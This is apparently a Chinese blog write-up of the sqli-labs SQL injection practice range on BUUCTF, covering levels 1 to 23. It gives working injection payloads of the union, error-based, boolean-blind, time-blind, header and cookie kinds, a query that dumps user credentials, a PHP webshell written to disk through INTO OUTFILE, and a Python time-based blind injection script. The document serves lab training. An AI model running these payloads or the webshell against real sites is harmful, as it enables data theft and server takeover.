BUUCTF/sqli-labs 1-23关

题目

在这里插入图片描述

步骤

打开靶机页面,这是一个练习sql注入的专项靶场。

Less-1

提示输入参数id,我们设一个id=1并执行

在这里插入图片描述

显示了两行数据,我们更改id的值为2-1

在这里插入图片描述

发现数据变化了,id的数据类型应该是字符型,我们继续测试,输入id=2’

结果报错了

在这里插入图片描述

再次输入id=2’ and 1=1 --+ ,页面恢复正常,说明id的数据类应该是带单引号的字符

在这里插入图片描述

开始使用order by猜解当前表有多少个字段

在这里插入图片描述

当到4的时候出现了报错,所以该表应该只有3个字段

在这里插入图片描述

使用右联查发现显示在前端的数据分别是第2列和第3列,接下来就是查询出数据库的名称,使用database()函数

在这里插入图片描述

得到数据库名称是security,根据数据库名称,查询该数据库下有哪些表,通过MariaDB下的源数据库information_schema

在这里插入图片描述

group_concat函数的作用是将多个数据合并为一条

得到有四张表,分别是emails,referers,uagents,users

同样的方法可以根据表名,查询出表中的字段名,最终查询到具体数据

闯关目标为获取flag,将以上四个表字段查询了一遍未发现flag,说明flag不在当前数据库,我们查询下服务器内还有哪些数据库

在这里插入图片描述

可以看到里面有个ctftraining数据库,flag多半在这个数据库中

在这里插入图片描述

查询下flag表下有哪些字段

在这里插入图片描述

只有flag一个字段,那我们直接查询flag的值

在这里插入图片描述

得到flag值。

后续关卡将不再详细讲述以上基本sql注入方法,以获取数据库名为通关目标。

Less-2

在这里插入图片描述

通过id=3-1,但是显示的是id=2的数据可知,这次id字段的数据类型为字符型

我们直接order by获取字段数

在这里插入图片描述

结果还是只有3个字段,通过database()成功获取数据库名

在这里插入图片描述

Less-3

在这里插入图片描述

这一关通过测试发现id字段是字符型,且是带单引号的,但是后面加入命令后还是报错,说明id字段不仅带单引号可能还带括号,我们继续尝试

在这里插入图片描述

当我们加了一个反括号后数据成功显示,说明是带了单括号,剩余步骤与前面一致

在这里插入图片描述

Less-4

在这里插入图片描述

第四关,根据测试id字段应该是带双引号及单括号的字符型,剩余步骤与前面一致

在这里插入图片描述

Less-5

这一关和前面的就有很大不同了,页面回显的数据都是一致的,我们只能知道sql注入的代码执行是否成功

在这里插入图片描述

通过测试我们知道id是带单引号的字符型,所以可以采用基于字符型的错误回显注入

报错注入的方法主要有三种

1.floor报错,比较复杂

原理是利用数据库主键不能重复,使用group by分组,产生主键key冗余而报错

id=2' and (select 1 from (select count(*),concat((SELECT schema_name FROM information_schema.schemata LIMIT 5,1),floor (rand(0)*2)) as x from information_schema.tables group by x) as a) --+
通过爆库让数据库名显示到报错信息中

在这里插入图片描述

2.updatexml报错

UPDATEXML (XML_document, XPath_string, new_value)

第一个参数:XML_document是String格式,为XML文档对象的名称,文中为Doc

第二个参数:XPath_string (Xpath格式的字符串) ,如果不了解Xpath语法,可以在网上查找教程。

第三个参数:new_value,String格式,替换查找到的符合条件的数据

作用:改变文档中符合条件的节点的值,改变XML_document中符合XPATH_string的值

当我们XPath_string语法报错时候就会报错,updatexml()报错注入和extractvalue()报错注入基本差不多。

id=2' and updatexml(1,concat(0x7e,(database()),0x7e),1) --+

在这里插入图片描述

3.extractvalue

extractvalue(XML_document,XPath_string)

第一个参数:XML_document是String格式,为XML文档对象的名称

第二个参数:XPath_string (Xpath格式的字符串) ,如果不了解Xpath语法,可以在网上查找教程。

作用:从XML_document中提取符合XPATH_string的值,当我们XPath_string语法报错时候就会报错。

concat和我前面说的的group_concat作用一样

2' and extractvalue(1,concat(0x7e,(database()),0x7e)) --+

在这里插入图片描述

Less-6

和关卡5类似,id是双引号字符型

在这里插入图片描述

Less-7

这关我们先测试id字段数据类型

在这里插入图片描述

经过测试,id字段为字符型且被双括号包含。

同时报错信息为静态固定,无法使用报错注入,也因为正确信息也为静态固定信息,无法使用联合查询注入。

在这里插入图片描述

上面提示让我们使用outfile,outfile是sql的语法,可以通过into outfile命令,将查询到的结果写入目标路径,在知道目标系统的绝对路径时可以使用,如

-1')) union select 1,2,database() into outfile"/tmp/1.txt"--+
可以打开1.txt,里面被写入了查询到的当前数据库名
同样也可以写入一句话木马,通过webshell管理工具连接来控制目标主机
-1')) union select 1,2,'<?php eval(@$_POST["123"]);?>' into outfile"/tmp/webshell.php"--+
这里需要注意的是,因为写入的文件我们只能通过网址访问,所以应该放在目标主机的http服务根目录下

本关因为是采用的公网地址,无法得知目标主机的绝对路径,所以采用布尔盲注的方法。

首先猜解数据库的名称长度

1')) and length(database())>8 --+

思路就是使用length函数返回长度,然后一个一个对比,比如>8页面显示失败的话,则长度应该是<=8

最终得出数据库名长度为8

在这里插入图片描述

然后就是一个一个判断数据库名8位字符分别是什么,使用ascii和substr函数

ascii函数作用是将字符转换为ascii码,因为字符无法与数字直接比较

substr函数作用是将字符串拆解为一个个字符,并根据参数返回,如sustr(‘123456’,1,1)意思是返回123456这个字符串的第一个字符开始的一个字符,也就是返回’1’

1')) and ascii(substr(database(),1,1))=115 --+

在这里插入图片描述

当第一个字符ascii码等于115时页面是正确回显,说明第一个字符的ascii码就是115,通过查询ascii码表得知第一个字符应该是’s’

这样依次确定,最终得到数据库名为’security’

最终表名、字段名及数据依旧通过该方法确定,比较费时间

Less-8

本关无错误回显,同样采用布尔注入,id是单引号字符类型

Less-9

这关通过测试,发现无论sql语句正确与否,返回的信息都是一样的,这样就不符合布尔注入的前提了,布尔盲注只适用于正确与错误结果不同的情况。

如果页面一直不变我们可以采用延时盲注的方法,原理就是利用sleep函数,如果结果正确的话页面延时刷新,错误的话无延时,通过判断有无延时判断结果是否正确。

通过判断发现id还是单引号字符类型,构建url进行访问

1' and if(length(database())=8,sleep(5),1) --+

发现延时了5秒,说明数据库长度确实为8

因为延时盲注比较耗时,这里使用python脚本进行自动盲注,最终输出目标长度及字符串名

# 时间盲注
import requests
import time
flag = ""
i=0
j=0
dict={
    48:'0',49:'1',50:'2',51:'3',52:'4',53:'5',54:'6',55:'7',56:'8',57:'9',
    65:'A',66:'B',67:'C',68:'D',69:'E',70:'F',71:'G',72:'H',73:'I',74:'J',75:'K',76:'L',77:'M',78:'N',79:'O',80:'P',81:'Q',82:'R',83:'S',84:'T',85:'U',86:'V',87:'W',88:'X',89:'Y',90:'Z',
    97:'a',98:'b',99:'c',100:'d',101:'e',102:'f',103:'g',104:'h',105:'i',106:'j',107:'k',108:'l',109:'m',110:'n',111:'o',112:'p',113:'q',114:'r',115:'s',116:'t',117:'u',118:'v',119:'w',120:'x',121:'y',122:'z'
    }
num={97,98,99,100,101,102,103,104,105,106,107,108,109,110,111,112,113,114,115,116,117,118,119,120,121,122,48,49,50,51,52,53,54,55,56,57,65,66,67,68,69,70,71,72,73,74,75,76,77,78,79,80,81,82,83,84,85,86,87,88,89,90}
namenum=0


while i < 20:
    ss = time.time()
    url = "http://eb2f50cb-27d3-4b02-924c-e57c1f1cd54b.node5.buuoj.cn/Less-7?id=2')) and if(length(database())=" + str(i) + ",sleep(8),0) --+"
    requests.get(url)
    if time.time()-ss >= 8:
        namenum = i
        break
    else:
        i+=1
while j < namenum:
    for i in num:
        ss = time.time()
        url = "http://eb2f50cb-27d3-4b02-924c-e57c1f1cd54b.node5.buuoj.cn/Less-7?id=2')) and if(ascii(substr(database()," + str(j+1) + ",1))=" + str(i) + ",sleep(8),0) --+"
        requests.get(url)
        if time.time()-ss >= 8:
            flag += dict[i]
            j += 1
            if j >= namenum:
                print("长度为: " + str(namenum) + "\n名字为: " + flag)
                break 

最终输出

在这里插入图片描述

修改url参数,同样猜解表名、字段名及最终数据

Less-10

本关与第九关一样,只不过id是双引号字符型

Less-11

在这里插入图片描述

这一关发现页面变化了,是一个登录页面,请求类型也从GET变成了POST类型

我们尝试在输入框中注入

在用户名栏输入1’,发现出现报错信息

在这里插入图片描述

再次输入1’ and 1=1#(这里使用–+注释不行,得使用#)

在这里插入图片描述

发现报错信息消失,说明username字段为单引号字符,我们可以构建一个恒成立表达式

1' or 1=1#

页面出现成功回显信息,后续就和第一关一样使用联合注入即可

在这里插入图片描述

Less-12

这关和第11关一样,username为双引号带单括号字符

Less-13

这关和第11关一样,username为单引号带单括号字符

Less-14

这关和第11关一样,username为双引号字符

Less-15

这关不显示报错信息,但是成功信息还有,采用布尔盲注,username为单引号字符

1' or length(database())=8#
1' or ascii(substr(database()),1,1)=115#

Less-16

本关和15关一样,username为双引号单括号字符

Less-17

这关通过标题看出是一个重置密码的页面,且在用户名栏无论输入什么提示都是一样的。

且重置密码大概率使用的是update语句,代表联合注入,延时盲注,布尔盲注都失效了,可以尝试下报错注入。

这里根据之前关卡从users表中查到的数据,输入正确用户名后,在密码框中构建url

1' and (extractvalue(1,concat(0x5c,database(),0x5c)))#

得到数据库名

在这里插入图片描述

同理往下依次查出表名,字段名,字段内容

1' and (extractvalue(1,concat(0x5c,(select group_concat(table_name) from information_schema.tables where table_schema=database()),0x5c)))#   爆表名

1' and (extractvalue(1,concat(0x5c,(select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'),0x5c)))#   爆字段名

1' and (extractvalue(1,concat(0x5c,(select group_concat(username,'~',password) from users),0x5c)))#   爆字段内容

Less-18

查看这关源码后(代码审计也算安全!)发现对用户名和密码都进行了检查,但是当我们输入正确的用户名及密码后,会将我们当前的User-Agent、IP、用户名插入到数据库中,且页面会显示User-Agent的内容

img

我们使用burp suite抓包,更改User-Agent的内容

在这里插入图片描述

我们在后面加入一个单引号,引发了报错,由此可以知道插入语句是将ua字段内容和ip地址以及账户名作为字符串进行插入且外面有括号。还要注意该插入语句需要三个参数,所以我们在构造时候也需要有三个参数。因为#号后面都被注释了

在这里插入图片描述

报错信息没了,接下来我们插入报错注入

1',2,extractvalue(1,concat(0x7e,database(),0x7e))) #

在这里插入图片描述

爆出数据库名

Less-19

这关输入正确用户名密码后,页面显示的不再是User-Agent,而是变成了Refer,我们通过抓包更改Refer,发现和18关差不多,只不过18关有3个参数,而19关只有两个参数

在这里插入图片描述

同样的我们插入报错注入

1',extractvalue(1,concat(0x7e,database(),0x7e))) #

在这里插入图片描述

成功爆出数据库名

Less-20

这关在BUU上可能有问题,也可能是我的浏览器的问题,在我的浏览器上无法存储该站点的cookie

该关卡和前面两关一样,只不过插入的是cookie字段

我们同样构建报错注入

cookie: uname=admin' and extractvalue(1,concat(0x5c,database(),0x5c))#

我这里因为上述原因,无法演示

Less-21

这关和20关一样,但是cookie的值进行了base64加密

构建好报错注入url,并对url进行base64加密后修改数据包即可

cookie: uname=admin') and extractvalue(1,concat(0x5c,database(),0x5c))#

比20关多了个括号

Less-22

和21关一样,但是是双引号,而且没括号

cookie: uname=admin" and extractvalue(1,concat(0x5c,database(),0x5c))#

Less-23

该关卡回到GET请求,输入单引号后发现报错,但是后面加入注释后依然是报错,盲猜注释符被过滤了

重新构造单引号闭合

1' and '1'='1

这样便可以继续使用联合注入

先查找下当前页面有多少列

-1' union select 1,2,3 and '1'='1

在这里插入图片描述

得到该页面共三列数据,且显示第一列和第二列

构造联合注入获取数据

-1' union select 1,database(),3 and '1'='1

在这里插入图片描述

成功获得数据库名

Less-24

这关开始出现了太多bug,所以该篇闯关教程结束,对sqli-labs感兴趣的小伙伴可以安装原生的靶场自己攻克

sqli-labs靶场下载

  • 13
    点赞
  • 17
    收藏
    觉得还不错? 一键收藏
  • 1
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值